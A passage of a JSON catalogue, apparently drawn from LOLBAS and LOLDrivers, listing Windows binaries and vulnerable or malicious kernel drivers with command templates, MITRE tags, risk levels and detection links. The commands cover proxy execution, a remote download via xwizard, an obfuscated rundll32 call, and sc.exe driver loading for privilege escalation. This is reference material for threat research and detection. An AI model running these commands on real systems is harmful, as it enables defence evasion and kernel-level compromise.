        "command": "wuauclt.exe /UpdateDeploymentProvider {PATH_ABSOLUTE:.dll} /RunHandlerComServer"
      }
    ],
    "execution": {
      "template": "wuauclt",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-execution-wuauclt",
    "install": [
      {
        "method": "choco",
        "package_name": "wuauclt",
        "commands": [
          "choco install wuauclt"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "wuauclt",
    "namespace": "windows:execution:wuauclt",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://dtm.uk/wuauclt/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# xbootmgr\n\nxbootmgr is a Windows LOLBin. Windows Performance Toolkit binary used to start performance traces. Located at: C:\\Program Files\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgr.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgr.exe.\n",
    "_source": "xbootmgr.md",
    "allowed-tools": [
      "xbootmgr"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Performance Toolkit binary used to start performance traces. Located at: C:\\Program Files\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgr.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgr.exe.",
    "detections": [],
    "examples": [
      {
        "description": "Executes an executable after the trace is complete using the callBack parameter. (Executes code as part of post-trace automation flow.)",
        "command": "xbootmgr.exe -trace \"{boot|hibernate|standby|shutdown|rebootCycle}\" -callBack {PATH:.exe}"
      },
      {
        "description": "Executes an executable before each trace run using the preTraceCmd parameter. (Executes code as part of pre-trace automation or staging.)",
        "command": "xbootmgr.exe -trace \"{boot|hibernate|standby|shutdown|rebootCycle}\" -preTraceCmd {PATH:.exe}"
      }
    ],
    "execution": {
      "template": "xbootmgr",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-xbootmgr",
    "install": [
      {
        "method": "choco",
        "package_name": "xbootmgr",
        "commands": [
          "choco install xbootmgr"
        ]
      }
    ],
    "mitre_ids": [
      "T1202"
    ],
    "name": "xbootmgr",
    "namespace": "windows:execution:xbootmgr",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "reference",
        "url": "https://learn.microsoft.com/en-us/previous-versions/windows/desktop/xperf/reference"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# xbootmgrsleep\n\nxbootmgrsleep is a Windows LOLBin. Windows Performance Toolkit binary used for tracing and analyzing system performance during sleep and resume transitions. Located at: C:\\Program Files\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgrsleep.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgrsleep.exe.\n",
    "_source": "xbootmgrsleep.md",
    "allowed-tools": [
      "xbootmgrsleep"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Performance Toolkit binary used for tracing and analyzing system performance during sleep and resume transitions. Located at: C:\\Program Files\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgrsleep.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgrsleep.exe.",
    "detections": [],
    "examples": [
      {
        "description": "Execute executable via XBootMgrSleep, with a 1 second (=1000 milliseconds) delay. Alternatively, it is also possible to replace the delay with any string for immediate execution. (Performs execution of specified executable, can be used as a defense evasion)",
        "command": "xbootmgrsleep.exe 1000 {PATH:.exe}"
      }
    ],
    "execution": {
      "template": "xbootmgrsleep",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-xbootmgrsleep",
    "install": [
      {
        "method": "choco",
        "package_name": "xbootmgrsleep",
        "commands": [
          "choco install xbootmgrsleep"
        ]
      }
    ],
    "mitre_ids": [
      "T1202"
    ],
    "name": "xbootmgrsleep",
    "namespace": "windows:execution:xbootmgrsleep",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "reference",
        "url": "https://learn.microsoft.com/en-us/previous-versions/windows/desktop/xperf/reference"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# xwizard\n\nxwizard is a Windows LOLBin. Execute custom class that has been added to the registry or download a file with Xwizard.exe Located at: C:\\Windows\\System32\\xwizard.exe; C:\\Windows\\SysWOW64\\xwizard.exe.\n",
    "_source": "xwizard.md",
    "allowed-tools": [
      "xwizard"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Execute custom class that has been added to the registry or download a file with Xwizard.exe Located at: C:\\Windows\\System32\\xwizard.exe; C:\\Windows\\SysWOW64\\xwizard.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/execution_com_object_xwizard.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml"
      }
    ],
    "examples": [
      {
        "description": "Xwizard.exe running a custom class that has been added to the registry. (Run a com object created in registry to evade defensive counter measures)",
        "command": "xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}"
      },
      {
        "description": "Xwizard.exe running a custom class that has been added to the registry. The /t and /u switch prevent an error message in later Windows 10 builds. (Run a com object created in registry to evade defensive counter measures)",
        "command": "xwizard RunWizard /taero /u {00000001-0000-0000-0000-0000FEEDACDC}"
      },
      {
        "description": "Xwizard.exe uses RemoteApp and Desktop Connections wizard to download a file, and save it to INetCache. (Download file from Internet)",
        "command": "xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z{REMOTEURL}"
      }
    ],
    "execution": {
      "template": "xwizard",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-xwizard",
    "install": [
      {
        "method": "choco",
        "package_name": "xwizard",
        "commands": [
          "choco install xwizard"
        ]
      }
    ],
    "mitre_ids": [
      "T1218",
      "T1105"
    ],
    "name": "xwizard",
    "namespace": "windows:execution:xwizard",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/"
      },
      {
        "label": "watch?v=LwDHX7DVHWU",
        "url": "https://www.youtube.com/watch?v=LwDHX7DVHWU"
      },
      {
        "label": "0598b60112eaafe6d07789f7964290d5",
        "url": "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5"
      },
      {
        "label": "",
        "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/"
      },
      {
        "label": "1306023056847110144",
        "url": "https://twitter.com/notwhickey/status/1306023056847110144"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# zipfldr\n\nzipfldr is a Windows LOLBin. Compressed Folder library Located at: c:\\windows\\system32\\zipfldr.dll; c:\\windows\\syswow64\\zipfldr.dll.\n",
    "_source": "zipfldr.md",
    "allowed-tools": [
      "zipfldr"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "LOLBAS Team",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Compressed Folder library Located at: c:\\windows\\system32\\zipfldr.dll; c:\\windows\\syswow64\\zipfldr.dll.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      }
    ],
    "examples": [
      {
        "description": "Launch an executable payload by calling RouteTheCall. (Launch an executable.)",
        "command": "rundll32.exe zipfldr.dll,RouteTheCall {PATH:.exe}"
      },
      {
        "description": "Launch an executable payload by calling RouteTheCall (obfuscated). (Launch an executable.)",
        "command": "rundll32.exe zipfldr.dll,RouteTheCall file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e"
      }
    ],
    "execution": {
      "template": "zipfldr",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-zipfldr",
    "install": [
      {
        "method": "choco",
        "package_name": "zipfldr",
        "commands": [
          "choco install zipfldr"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.011"
    ],
    "name": "zipfldr",
    "namespace": "windows:execution:zipfldr",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "977848311603380224",
        "url": "https://twitter.com/moriarty_meng/status/977848311603380224"
      },
      {
        "label": "997896811904929792",
        "url": "https://twitter.com/bohops/status/997896811904929792"
      },
      {
        "label": "zipfldr_dll.html",
        "url": "https://windows10dll.nirsoft.net/zipfldr_dll.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 1.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\1.sys type=kernel && sc.exe start 1.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver 1.sys\"\n\n# 1.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-1.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create 1.sys binPath=C:\\windows\\temp\\1.sys type=kernel && sc.exe start 1.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-1",
    "install": [
      {
        "method": "custom",
        "description": "Load 1.sys kernel driver",
        "commands": [
          "sc.exe create 1.sys binPath=C:\\windows\\temp\\1.sys type=kernel && sc.exe start 1.sys"
        ]
      }
    ],
    "name": "1.sys",
    "namespace": "windows:kernel:1",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 1109 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\1109.sys type=kernel && sc.exe start 1109\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver 1109.sys\"\n\n# 1109.sys\n\n1109.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-1109.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "1109.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create 1109 binPath=C:\\windows\\temp\\1109.sys type=kernel && sc.exe start 1109",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-1109",
    "install": [
      {
        "method": "custom",
        "description": "Load 1109.sys kernel driver",
        "commands": [
          "sc.exe create 1109 binPath=C:\\windows\\temp\\1109.sys type=kernel && sc.exe start 1109"
        ]
      }
    ],
    "name": "1109.sys",
    "namespace": "windows:kernel:1109",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 1fc7aeeff3ab19004d2e53eae8160ab1.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\1fc7aeeff3ab19004d2e53eae8160ab1.sys type=kernel && sc.exe start 1fc7aeeff3ab19004d2e53eae8160ab1.sys\"\n\n# 1fc7aeeff3ab19004d2e53eae8160ab1.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader. The authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system. This threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1014\n",
    "_source": "windows-kernel-1fc7aeeff3ab19004d2e53eae8160ab1.md",
    "author": "Alice Climent-Pommeret",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create 1fc7aeeff3ab19004d2e53eae8160ab1.sys binPath=C:\\windows\\temp\\1fc7aeeff3ab19004d2e53eae8160ab1.sys type=kernel && sc.exe start 1fc7aeeff3ab19004d2e53eae8160ab1.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-1fc7aeeff3ab19004d2e53eae8160ab1",
    "install": [
      {
        "method": "custom",
        "description": "Load 1fc7aeeff3ab19004d2e53eae8160ab1.sys kernel driver",
        "commands": [
          "sc.exe create 1fc7aeeff3ab19004d2e53eae8160ab1.sys binPath=C:\\windows\\temp\\1fc7aeeff3ab19004d2e53eae8160ab1.sys type=kernel && sc.exe start 1fc7aeeff3ab19004d2e53eae8160ab1.sys"
        ]
      }
    ],
    "name": "1fc7aeeff3ab19004d2e53eae8160ab1.sys",
    "namespace": "windows:kernel:1fc7aeeff3ab19004d2e53eae8160ab1",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 2.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\2.sys type=kernel && sc.exe start 2.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver 2.sys\"\n\n# 2.sys\n\nDriver categorized as POORTRY by Mandiant.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-2.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver categorized as POORTRY by Mandiant.",
    "execution": {
      "template": "sc.exe create 2.sys binPath=C:\\windows\\temp\\2.sys type=kernel && sc.exe start 2.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-2",
    "install": [
      {
        "method": "custom",
        "description": "Load 2.sys kernel driver",
        "commands": [
          "sc.exe create 2.sys binPath=C:\\windows\\temp\\2.sys type=kernel && sc.exe start 2.sys"
        ]
      }
    ],
    "name": "2.sys",
    "namespace": "windows:kernel:2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 4.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\4.sys type=kernel && sc.exe start 4.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver 4.sys\"\n\n# 4.sys\n\nSentinelOne has observed prominent threat actors abusing legitimately signed Microsoft drivers in active intrusions into telecommunication, BPO, MSSP, and financial services businesses.\nInvestigations into these intrusions led to the discovery of POORTRY and STONESTOP malware, part of a small toolkit designed to terminate AV and EDR processes.\nWe first reported our discovery to Microsoft’s Security Response Center (MSRC) in October 2022 and received an official case number (75361). Today, MSRC released an associated advisory under ADV220005.\nThis research is being released alongside Mandiant, a SentinelOne technology and incident response partner. \n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-4.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "SentinelOne has observed prominent threat actors abusing legitimately signed Microsoft drivers in active intrusions into telecommunication, BPO, MSSP, and financial services businesses. Investigations into these intrusions led to the discovery of POORTRY and STONESTOP malware, part of a small toolkit designed to terminate AV and EDR processes. We first reported our discovery to Microsoft’s Security Response Center (MSRC) in October 2022 and received an official case number (75361). Today, MSR...",
    "execution": {
      "template": "sc.exe create 4.sys binPath=C:\\windows\\temp\\4.sys type=kernel && sc.exe start 4.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-4",
    "install": [
      {
        "method": "custom",
        "description": "Load 4.sys kernel driver",
        "commands": [
          "sc.exe create 4.sys binPath=C:\\windows\\temp\\4.sys type=kernel && sc.exe start 4.sys"
        ]
      }
    ],
    "name": "4.sys",
    "namespace": "windows:kernel:4",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.sentinelone.com/labs/driving-through-defenses-targeted-attacks-leverage-signed-malicious-microsoft-drivers/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 4118b86e490aed091b1a219dba45f332.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\4118b86e490aed091b1a219dba45f332.sys type=kernel && sc.exe start 4118b86e490aed091b1a219dba45f332.sys\"\n\n# 4118b86e490aed091b1a219dba45f332.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader. The authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system. This threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1014\n",
    "_source": "windows-kernel-4118b86e490aed091b1a219dba45f332.md",
    "author": "Alice Climent-Pommeret",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create 4118b86e490aed091b1a219dba45f332.sys binPath=C:\\windows\\temp\\4118b86e490aed091b1a219dba45f332.sys type=kernel && sc.exe start 4118b86e490aed091b1a219dba45f332.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-4118b86e490aed091b1a219dba45f332",
    "install": [
      {
        "method": "custom",
        "description": "Load 4118b86e490aed091b1a219dba45f332.sys kernel driver",
        "commands": [
          "sc.exe create 4118b86e490aed091b1a219dba45f332.sys binPath=C:\\windows\\temp\\4118b86e490aed091b1a219dba45f332.sys type=kernel && sc.exe start 4118b86e490aed091b1a219dba45f332.sys"
        ]
      }
    ],
    "name": "4118b86e490aed091b1a219dba45f332.sys",
    "namespace": "windows:kernel:4118b86e490aed091b1a219dba45f332",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 4748696211bd56c2d93c21cab91e82a5.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\4748696211bd56c2d93c21cab91e82a5.sys type=kernel && sc.exe start 4748696211bd56c2d93c21cab91e82a5.sys\"\n\n# 4748696211bd56c2d93c21cab91e82a5.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader. The authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system. This threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1014\n",
    "_source": "windows-kernel-4748696211bd56c2d93c21cab91e82a5.md",
    "author": "Alice Climent-Pommeret",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create 4748696211bd56c2d93c21cab91e82a5.sys binPath=C:\\windows\\temp\\4748696211bd56c2d93c21cab91e82a5.sys type=kernel && sc.exe start 4748696211bd56c2d93c21cab91e82a5.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-4748696211bd56c2d93c21cab91e82a5",
    "install": [
      {
        "method": "custom",
        "description": "Load 4748696211bd56c2d93c21cab91e82a5.sys kernel driver",
        "commands": [
          "sc.exe create 4748696211bd56c2d93c21cab91e82a5.sys binPath=C:\\windows\\temp\\4748696211bd56c2d93c21cab91e82a5.sys type=kernel && sc.exe start 4748696211bd56c2d93c21cab91e82a5.sys"
        ]
      }
    ],
    "name": "4748696211bd56c2d93c21cab91e82a5.sys",
    "namespace": "windows:kernel:4748696211bd56c2d93c21cab91e82a5",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create 5a4fe297c7d42539303137b6d75b150d.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\5a4fe297c7d42539303137b6d75b150d.sys type=kernel && sc.exe start 5a4fe297c7d42539303137b6d75b150d.sys\"\n\n# 5a4fe297c7d42539303137b6d75b150d.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader. The authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system. This threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1014\n",
    "_source": "windows-kernel-5a4fe297c7d42539303137b6d75b150d.md",
    "author": "Alice Climent-Pommeret",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
